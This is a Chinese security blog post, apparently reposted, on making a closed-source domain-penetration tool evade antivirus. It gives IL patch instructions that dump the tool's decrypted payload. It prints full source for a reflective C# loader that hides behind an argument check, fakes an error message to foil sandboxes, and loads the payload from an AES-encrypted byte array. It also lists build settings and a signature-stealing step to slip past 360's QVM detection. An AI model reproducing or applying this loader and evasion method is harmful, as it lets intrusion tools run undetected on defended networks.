文章总结: 本文介绍了对域渗透工具进行逆向二开以实现免杀的方法。作者通过IL指令编辑提取核心代码,编写自定义加载器并采用反沙箱、AES加密、签名伪装等技术绕过杀毒软件检测。关键发现包括通过减少暴露面、禁止生成调试信息、添加签名等方式绕过QVM检测。可操作建议是使用签名和减少暴露面来提升免杀效果。 综合评分: 87 文章分类: 红队,逆向分析,安全工具
小记-域渗透工具逆向二开赋予免杀
原创
ptr ptr
UpRoot
2026年7月27日 21:38 江苏
在小说阅读器读本章
去阅读
看书看到这款工具的,发现不开源并且已经不免杀了,于是我试错中总结出来如何针对类似这类工具的免杀方法论。
对于免杀还是学徒阶段,写的很多东西可能有误,还请指正,能不能长时间免杀都是次要的,对我来说,找到解决问题的方法比拿到结果更重要。
原工具现状:
过程
原程序对核心代码做了加密处理存在数组中,后解密进行反射调用Main方法并传入外部参数。
这里不采用拿数组去解密的办法,一方面这个数组太大了,拿不全,另一方面,解密算法也不好逆。
我的办法是:对Main方法进行IL指令编辑,新增一个System.IO.File::WriteAllBytes()方法,在解密之后,直接写到bin中,这样就拿到了程序的核心代码。
这里在AI的帮助下,通过自己的思路,丢给AI,得到如下IL指令,不难。
0041 stloc.s V_4 (4)
0043 ldstr "D:\\tmp\\koi.bin"
0048 ldloc.s V_4 (4)
004A call void [mscorlib]System.IO.File::WriteAllBytes(string, uint8[])
004F ldloc.1
0050 ldstr "koi"
0055 ldloc.s V_4 (4)
0057 callvirt instance class [mscorlib]System.Reflection.Module [mscorlib]System.Reflection.Assembly::LoadModule(string, uint8[])
005C stloc.s V_5 (5)
另存module编译执行,拿到koi.bin,再次放到dnspy进行分析。
主方法没问题,这个bin提取正确的。
直接调用肯定是不行的,里面用了很多域工具的组件,过不了杀。
原加载器,静态被标记也用不了,只能自己手工去写一个加载器反射调用主类即可。基础代码如下:
private static bool HasRequiredArgs(string[] argv)
{
if (argv == null || argv.Length < 2)
return false;
bool hasK = false;
bool hasPtr = false;
for (int i = 0; i < argv.Length; i++)
{
if (string.Equals(argv[i], "-k", StringComparison.OrdinalIgnoreCase))
hasK = true;
else if (string.Equals(argv[i], "ptr", StringComparison.OrdinalIgnoreCase))
hasPtr = true;
}
return hasK && hasPtr;
}
指定参数可运行用来简单地反沙箱。
AppDomain.CurrentDomain.AssemblyResolve += ResolveDependency;
Assembly asm = Assembly.Load(raw);
Type t = asm.GetType("mscan.Program", throwOnError: true, ignoreCase: false);
MethodInfo m = t.GetMethod(
"Main",
BindingFlags.NonPublic | BindingFlags.Static,
null,
new[] { typeof(string[]) },
null);
string[] args = argv.Length == 0 ? new[] { "--help" } : argv;
m.Invoke(null, new object[] { args });
轮子造好了,再把koi.bin转为字节数组,AES加密,反射加载即可。
这里我对字节数组做了一步base64处理去降熵,但是360会提文件里面的内容,检测到大段base64后直接kill掉,所以是不行的。UUID可以试一试,但是估计360检测到大段字符串都会直接kill掉。
所以还是老实字节数组避免360抓文件内容。
缺点是尽管我没加壳,熵也还是很高,也有被直接干掉的风险,这里抱有侥幸心理了。
net4.0兼容到winserver2008编译第一版exe,放到360云沙箱结果如下:
qvm直接干掉了。
于是查阅资料,了解到bypass qvm的解决办法如下:
1、暴露面尽量小,比如导入表
2、禁止生成调试信息,对 C# 来说是不要生成pdb文件
3、签名
4、伪装白文件字符串添加
具体操作如下:
干净的程序生成信息,避免qvm直观检测。
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>false</DebugSymbols>
<DebugType>none</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
签名掠夺,注意不要添加假签名和一些常见的签名,不然直接杀。
做完这两步后就基本可以过检测了。
最后结果如下:
加载器代码如下:
using System;
using System.IO;
using System.Reflection;
using DomainExploit.exploit;
namespace DomainExploit
{
internal class Program
{
static int Main(string[] argv)
{
try
{
if (!HasRequiredArgs(argv))
{
string friendlyName = AppDomain.CurrentDomain.FriendlyName;
Console.WriteLine("'" + friendlyName + "' is not a valid Win32 application");
return -1;
}
byte[] raw = Decrypt.GetKoiBytes();
AppDomain.CurrentDomain.AssemblyResolve += ResolveDependency;
Assembly asm = Assembly.Load(raw);
Type t = asm.GetType("mscan.Program", throwOnError: true, ignoreCase: false);
MethodInfo m = t.GetMethod(
"Main",
BindingFlags.NonPublic | BindingFlags.Static,
null,
new[] { typeof(string[]) },
null);
string[] args = argv.Length == 0 ? new[] { "--help" } : argv;
m.Invoke(null, new object[] { args });
return 0;
}
catch (TargetInvocationException ex)
{
Console.WriteLine(ex.InnerException != null ? ex.InnerException.ToString() : ex.ToString());
return -1;
}
catch (Exception ex)
{
Console.WriteLine(ex);
return -2;
}
}
private static bool HasRequiredArgs(string[] argv)
{
if (argv == null || argv.Length < 2)
return false;
bool hasK = false;
bool hasPtr = false;
for (int i = 0; i < argv.Length; i++)
{
if (string.Equals(argv[i], "-k", StringComparison.OrdinalIgnoreCase))
hasK = true;
else if (string.Equals(argv[i], "ptr", StringComparison.OrdinalIgnoreCase))
hasPtr = true;
}
return hasK && hasPtr;
}
static Assembly ResolveDependency(object sender, ResolveEventArgs e)
{
string baseDir = AppDomain.CurrentDomain.BaseDirectory;
string name = new AssemblyName(e.Name).Name + ".dll";
string path = Path.Combine(baseDir, name);
return File.Exists(path) ? Assembly.LoadFrom(path) : null;
}
}
}
谢谢阅读,如有更好的解决办法,还请指教下,共勉。
- END –
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:UpRoot ptr ptr《小记-域渗透工具逆向二开赋予免杀》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论